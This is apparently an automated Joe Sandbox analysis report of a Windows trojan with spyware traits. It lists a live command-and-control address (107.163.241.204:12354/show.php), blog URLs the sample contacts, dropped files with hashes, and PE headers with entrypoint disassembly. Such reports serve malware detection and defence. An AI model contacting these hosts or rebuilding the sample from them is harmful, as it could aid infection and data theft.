http://107.163.241.204:12354/show.phpI	rundll32.exe, 00000006.00000003.3499377638.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3886909734.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3068313961.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2803765763.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2062650731.0000000005634000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2062689322.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1617469402.000000000562B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1982032488.0000000005633000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1658030407.000000000562B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1658090324.0000000005632000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2230805040.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2477211473.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.204:12354/show.phpL	rundll32.exe, 00000006.00000003.3499377638.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2803765763.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2062689322.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1617628309.000000000288D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2394402713.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2363858451.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2230805040.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3621775107.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2394188130.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2803081217.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://blog.sina.com.cn/and	rundll32.exe, 00000006.00000003.2062610450.000000000565C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.204:12354/show.phpD	rundll32.exe, 00000006.00000002.3886909734.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3068313961.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2803765763.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2062689322.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3028247927.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2363858451.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3621775107.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807zk	rundll32.exe, 00000006.00000002.3900121507.000000000562B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.204:12354/show.phpE	rundll32.exe, 00000006.00000003.1658030407.000000000562B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1658090324.0000000005632000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807zm	rundll32.exe, 00000006.00000003.3499377638.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3068313961.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2803765763.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2803081217.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.204:12354/show.php-xN	rundll32.exe, 00000006.00000003.1982032488.0000000005633000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/56550298079	rundll32.exe, 00000006.00000003.2363858451.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false		high
https://blog.sina.com.cn/u/5655029807n	rundll32.exe, 00000006.00000002.3886909734.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2477211473.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.204:12354/show.phpR	rundll32.exe, 00000006.00000003.3253603854.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3499377638.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3068313961.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3252916045.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2477211473.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://blog.sina.com.cn/u/56550298074	rundll32.exe, 00000006.00000003.2394402713.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2363858451.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2394188130.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/56550298071	rundll32.exe, 00000006.00000003.2062689322.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false		high
https://blog.sina.com.cn/u/5655029807-xN	rundll32.exe, 00000006.00000003.1658030407.000000000562B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1658090324.0000000005632000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.204:12354/show.phpW	rundll32.exe, 00000006.00000003.1617469402.000000000562B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1658030407.000000000562B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1658090324.0000000005632000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/%sXGRyaXZlcnNcZXRjXGhvc3RzLmljcw==XGRyaXZlcnNcZXRjXGhvc3Rz	rundll32.exe, 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp	false		high
http://107.163.241.204:12354/show.phpk	rundll32.exe, 00000006.00000002.3886909734.00000000027AA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.204:12354/show.phpm	rundll32.exe, 00000006.00000003.3253603854.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3252916045.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2988159580.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3028247927.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3900121507.000000000562B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3621775107.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3108712693.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.204:12354/show.phpn	rundll32.exe, 00000006.00000003.3253603854.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3068313961.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3252916045.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1617628309.000000000288D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2988159580.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3621775107.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3108712693.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807zP#&&	rundll32.exe, 00000006.00000002.3886909734.00000000027AA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807D	rundll32.exe, 00000006.00000003.2803081217.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807-xN	rundll32.exe, 00000006.00000003.1617469402.000000000562B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807adobe.dunamis	rundll32.exe, 00000006.00000003.3621717662.0000000005657000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.204:12354/show.phpe	rundll32.exe, 00000006.00000003.2848809904.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3621775107.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2477211473.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://blog.sina.com.cn/	rundll32.exe, 00000006.00000003.2230805040.00000000027E3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2803873602.00000000027E3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1981996980.000000000565B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2062689322.00000000027E3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2849768834.00000000027E3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2062610450.000000000565C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2394527852.000000000565C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3621717662.0000000005657000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1982084602.00000000027E3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3900121507.0000000005656000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3886909734.00000000027AA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2365087073.000000000565C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3622058230.00000000027E4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.204:12354/show.phpg	rundll32.exe, 00000006.00000003.1617469402.000000000562B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3900121507.000000000562B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1658030407.000000000562B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1658090324.0000000005632000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
202.108.0.52	blogx.sina.com.cn	China		4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
107.163.241.204	unknown	United States		20248	TAKE2US	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1573199
Start date and time:	2024-12-11 16:26:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	XXHYneydvF.exe renamed because original name is a hash value
Original Sample Name:	06581b0a41a6fb4b1e619d70e6fe3d950c6c96f325bce18cb880d5a13d331225.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@22/3@51/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 71 Number of non-executed functions: 72
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 20.12.23.50
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: XXHYneydvF.exe

Simulations

Behavior and APIs

Time	Type	Description
10:27:12	API Interceptor	585601x Sleep call for process: rundll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
202.108.0.52	nt11qTrX4f.exe	Get hash	malicious	Unknown	Browse	blog.sina.com.cn/u/5655029807
	otsIBG7J9b.exe	Get hash	malicious	Unknown	Browse	blog.sina.com.cn/u/5655029807
	XgijTrY6No.exe	Get hash	malicious	Unknown	Browse	blog.sina.com.cn/u/5655029807
	VqCbf9fhnQ.exe	Get hash	malicious	Unknown	Browse	blog.sina.com.cn/u/5655029807
	k4F4uRTZZR.dll	Get hash	malicious	Unknown	Browse	blog.sina.com.cn/u/5655029807
	5jme4p7u76.exe	Get hash	malicious	Unknown	Browse	blog.sina.com.cn/u/5655029807
107.163.241.204	XgijTrY6No.exe	Get hash	malicious	Unknown	Browse	107.163.241.204:12354/show.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
blogx.sina.com.cn	nt11qTrX4f.exe	Get hash	malicious	Unknown	Browse	202.108.0.52
	otsIBG7J9b.exe	Get hash	malicious	Unknown	Browse	202.108.0.52
	XgijTrY6No.exe	Get hash	malicious	Unknown	Browse	202.108.0.52
	08e2VwqyI0.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	PqZ6GU98Eh.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	jYAKmjIPgI.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	b3sV534MMf.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	NaRZIOq3O8.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	33twe7X26S.dll	Get hash	malicious	Unknown	Browse	202.108.0.52
	MYuRWuVXzX.dll	Get hash	malicious	Unknown	Browse	202.108.0.52

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	nt11qTrX4f.exe	Get hash	malicious	Unknown	Browse	202.108.0.52
	otsIBG7J9b.exe	Get hash	malicious	Unknown	Browse	202.108.0.52
	XgijTrY6No.exe	Get hash	malicious	Unknown	Browse	202.108.0.52
	Josho.ppc.elf	Get hash	malicious	Unknown	Browse	123.121.0.198
	Josho.mpsl.elf	Get hash	malicious	Unknown	Browse	124.192.197.161
	Josho.mips.elf	Get hash	malicious	Unknown	Browse	114.67.239.168
	hax.x86.elf	Get hash	malicious	Mirai	Browse	221.222.118.76
	hax.ppc.elf	Get hash	malicious	Mirai	Browse	140.210.138.192
	.5r3fqt67ew531has4231.x86.elf	Get hash	malicious	Mirai, Moobot, Okiru	Browse	103.135.163.78
	rebirth.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	122.113.109.82
TAKE2US	nt11qTrX4f.exe	Get hash	malicious	Unknown	Browse	107.163.241.232
	otsIBG7J9b.exe	Get hash	malicious	Unknown	Browse	107.163.241.232
	XgijTrY6No.exe	Get hash	malicious	Unknown	Browse	107.163.241.204
	08e2VwqyI0.dll	Get hash	malicious	Unknown	Browse	107.163.56.110
	PqZ6GU98Eh.dll	Get hash	malicious	Unknown	Browse	107.163.56.110
	jYAKmjIPgI.dll	Get hash	malicious	Unknown	Browse	107.163.56.110
	b3sV534MMf.dll	Get hash	malicious	Unknown	Browse	107.163.56.110
	NaRZIOq3O8.dll	Get hash	malicious	Unknown	Browse	107.163.241.193
	33twe7X26S.dll	Get hash	malicious	Unknown	Browse	107.163.241.193
	MYuRWuVXzX.dll	Get hash	malicious	Unknown	Browse	107.163.56.110

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	202.108.0.52
	Bank Swift and SOA PVRN0072700314080353_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	202.108.0.52
	DEC 2024 RFQ.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	202.108.0.52
	Itaxyhi.exe	Get hash	malicious	Phemedrone Stealer	Browse	202.108.0.52
	file.exe	Get hash	malicious	Snake Keylogger	Browse	202.108.0.52
	Confirm revised invoice to proceed with payment ASAP.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	202.108.0.52
	REQUEST FOR QUOATION AND PRICES 0108603076-24_pdf.exe	Get hash	malicious	GuLoader	Browse	202.108.0.52
	Bank Swift and SOA PRN0072700314159453_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	202.108.0.52
	HSBC Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	202.108.0.52
	ST07933.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	202.108.0.52
37f463bf4616ecd445d4a1937da06e19	nt11qTrX4f.exe	Get hash	malicious	Unknown	Browse	202.108.0.52
	otsIBG7J9b.exe	Get hash	malicious	Unknown	Browse	202.108.0.52
	XgijTrY6No.exe	Get hash	malicious	Unknown	Browse	202.108.0.52
	nicewithgreatfeaturesreturnformebestthingsgivensoofar.hta	Get hash	malicious	Cobalt Strike, Remcos	Browse	202.108.0.52
	CcIlKT6XdC.exe	Get hash	malicious	Amadey, PureLog Stealer, Stealc, Vidar	Browse	202.108.0.52
	PO_11100011211.Vbs.vbs	Get hash	malicious	FormBook	Browse	202.108.0.52
	Reqt 83291.vbs	Get hash	malicious	Remcos, GuLoader	Browse	202.108.0.52
	DOCUMENT#5885588@081366(766.pdf.exe	Get hash	malicious	GuLoader, Remcos	Browse	202.108.0.52
	Bank Swift and SOA PVRN0072700314080353_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	202.108.0.52
	LXS5itpTK7.exe	Get hash	malicious	Stealc	Browse	202.108.0.52

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\yucdh\qtbbkpjim.dll	XgijTrY6No.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\1.txt

Download File

Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	ISO-8859 text, with CRLF line terminators
Category:	dropped
Size (bytes):	3335
Entropy (8bit):	4.343766381033439
Encrypted:	false
SSDEEP:	48:tq4CyP16MzHtPp4rfFZImXfVYKaKZ9FqGLhvpF:tr6sHFuTlvVYKJFrhvj
MD5:	7313AB603E3BD6FA26D470D7224EC45D
SHA1:	05B7D6E01C9940893A3A14A99C2AA433C4C48F1B
SHA-256:	21023531F2783C524E4DFF58AD0528EC9902AF42CD158C0393AA584BEAFD1010
SHA-512:	B2E672C70070B23131F30E5A8C8C14E84F1EACDBB744F18D8E4B8955535A7C19AE6E863B06CFFAE227E19EC5CB1F242EF00E58F2629AB4C2F929E2239E8C5799
Malicious:	false
Preview:	..2024-12-11 14:04..iOffset....2024-12-11 17:32..iOffset....2024-12-11 19:37..iOffset....2024-12-11 21:10..iOffset....2024-12-11 23:20..iOffset....2024-12-12 02:38..iOffset....2024-12-12 04:20..iOffset....2024-12-12 07:58..iOffset....2024-12-12 10:20..iOffset....2024-12-12 13:53..iOffset....2024-12-12 15:36..iOffset....2024-12-12 17:57..iOffset....2024-12-12 21:31..iOffset....2024-12-13 00:03..iOffset....2024-12-13 02:29..iOffset....2024-12-13 04:17..iOffset....2024-12-13 07:24..iOffset....2024-12-13 11:23..iOffset....2024-12-13 14:02..iOffset....2024-12-13 19:44..iOffset....2024-12-14 00:18..iOffset....2024-12-14 07:49..iOffset....2024-12-14 12:40..iOffset....2024-12-14 18:58..iOffset....2024-12-14 20:24..iOffset....2024-12-15 00:33..iOffset....2024-12-15 02:23..iOffset....2024-12-15 04:23..iOffset....2024-12-15 06:25..iOffset....2024-12-15 08:32..iOffset....2024-12-15 10:24..iOffset....2024-12-15 12:51..iOffset....2024-12-15 14:12..iOffset....2024-12-15 17:47..iOffset....2024-12-15 2

C:\Users\user\AppData\Local\Temp\ygqcn.exe

Download File

Process:	C:\Users\user\Desktop\XXHYneydvF.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	87834
Entropy (8bit):	6.848597146998347
Encrypted:	false
SSDEEP:	1536:8gDktLw4rO10tMrlk3SJDlf98jqP+8il3CxOeZIckWlmyp3:uLRrO10TiJD9yjqrilyxOuPp3
MD5:	FEC9BB7DF5F493703F25649E8B808F7D
SHA1:	D73D1EE0CEFFFFF9ED9EFCD411842E55F8FEDA4D
SHA-256:	5B264480463DB80D9C5B8DFDE709790087C0997D7F546DFCBAB1A955B2AF29A3
SHA-512:	119938C80EEA39D64D39704BA2801AD0D78507BC8B5D167274CC64B480B662F09821A8067F40C8E4FF072C71E22A7806E2936B82EE39CD35F2CB0250F601DB65
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........x...x...x...%...x...v...x.v.r...x.v.\|...x...y.S.x.v.s...x.&.~...x.Rich..x.PE..L...~..U.................0.........."/.......@....@..........................p..............................................HM.......p.......................O.......................................................................................text....0.......$.................. ..`.rdata... ...@.......(..............@..@.data........`.......>..............@....rsrc........p.......D..............@..@.CG...... ...@......................`....adata.......`.......(..............@...................................................................................................................................................................................................................................................................................................................

C:\yucdh\qtbbkpjim.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\ygqcn.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, PECompact2 compressed
Category:	dropped
Size (bytes):	45576
Entropy (8bit):	7.865404631369311
Encrypted:	false
SSDEEP:	768:DICzePjle2367kjhrXLdCuYMW8QVnwrLDGe/brbtJyOTuXfADVjeJ2i/MVJWAE:DDePjA23Ukjh37YMonwrvGybrbbRCf4E
MD5:	0F12A7D509B2C9BB9B4CD6D8A0325E86
SHA1:	F5FB59AD4F0633D115B06F35A2DC161DC4367157
SHA-256:	9111C1EB1F0B59DCD49CFD5A0ABC0BA100AC59A3BCAE8623FF091DFDC46FED3C
SHA-512:	E3C84A643FF0A2627DABA8A056221985A472AAF07BADE61B3E9459DB4BFC8792C1347606911E3FCC01581508004B18B5435BCCCD5E7617CC6D091F37A5F42E7F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Joe Sandbox View:	Filename: XgijTrY6No.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[v.2...a...a...ad..a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...a...aRich...a........PE..L....v.U...........!................. ....... ..............................."......................................$...G....................................................................................................K.......................text...................PEC2........ ....rsrc............................... ....reloc..............................@...GDR.......... ............C..W...... ............................................rsrc...b.......b................... ...................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Entropy (8bit):	6.84433768068882
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	XXHYneydvF.exe
File size:	87'428 bytes
MD5:	94803df028d7f1af9887b45667230632
SHA1:	90b9d740455b5fccc8d41d06ab34a32f9fc1ea85
SHA256:	06581b0a41a6fb4b1e619d70e6fe3d950c6c96f325bce18cb880d5a13d331225
SHA512:	33b89aeec1747b706b9b9059ed179ff07e2f39332e64ae6dbef1c24698aa67aa17f0704fad2e440f3037fcaf47cdb68f2603e610c03fbb9c7004e57910451c62
SSDEEP:	1536:8gDktLw4rO10tMrlk3SJDlf98jqP+8il3CxOeZIckWlmypw:uLRrO10TiJD9yjqrilyxOuPpw
TLSH:	EB83BE5DBD93886ED0018B3547578725E6B2AC19FA314F334350FA1DAF3690BEED9288
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............x...x...x...%...x...v...x.v.r...x.v.\|...x...y.S.x.v.s...x.&.~...x.Rich..x.PE..L...~..U.................0.........."/.....

File Icon


Icon Hash:	f0bb9b9b9b9bfe7d

Static PE Info

General

Entrypoint:	0x402f22
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
DLL Characteristics:
Time Stamp:	0x55F8F97E [Wed Sep 16 05:09:18 2015 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	7149be53ab0cc890706cc958454a7873

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push FFFFFFFFh
push 00404AD8h
push 00402F10h
mov eax, dword ptr fs:[00000000h]
push eax
mov dword ptr fs:[00000000h], esp
sub esp, 68h
push ebx
push esi
push edi
mov dword ptr [ebp-18h], esp
xor ebx, ebx
mov dword ptr [ebp-04h], ebx
push 00000002h
call dword ptr [00404268h]
pop ecx
or dword ptr [004066A8h], FFFFFFFFh
or dword ptr [004066ACh], FFFFFFFFh
call dword ptr [0040426Ch]
mov ecx, dword ptr [0040669Ch]
mov dword ptr [eax], ecx
call dword ptr [00404270h]
mov ecx, dword ptr [00406698h]
mov dword ptr [eax], ecx
mov eax, dword ptr [00404274h]
mov eax, dword ptr [eax]
mov dword ptr [004066A4h], eax
call 00007FBA8CCBF728h
cmp dword ptr [00406590h], ebx
jne 00007FBA8CCC157Eh
push 004030A4h
call dword ptr [00404278h]
pop ecx
call 00007FBA8CCC165Dh
push 00406020h
push 0040601Ch
call 00007FBA8CCC1648h
mov eax, dword ptr [00406694h]
mov dword ptr [ebp-6Ch], eax
lea eax, dword ptr [ebp-6Ch]
push eax
push dword ptr [00406690h]
lea eax, dword ptr [ebp-64h]
push eax
lea eax, dword ptr [ebp-70h]
push eax
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [00404280h]
push 00406018h
push 00406000h
call 00007FBA8CCC1615h

Rich Headers

Programming Language:

[ C ] VS98 (6.0) build 8168
[LNK] VS98 (6.0) imp/exp build 8168
[C++] VS98 (6.0) build 8168
[RES] VS98 (6.0) cvtres build 1720

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x4d48	0x8c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7000	0xc8e4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x14fb0	0x8	.CG
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3000	0x2400	e5604bb5c441332166d846e4e0c49c2b	False	0.560546875	COM executable for DOS	6.036937988019541	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x4000	0x2000	0x1600	fd41b19e9ec06f7b66492dc4ca23e649	False	0.34410511363636365	data	4.8504121264257725	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
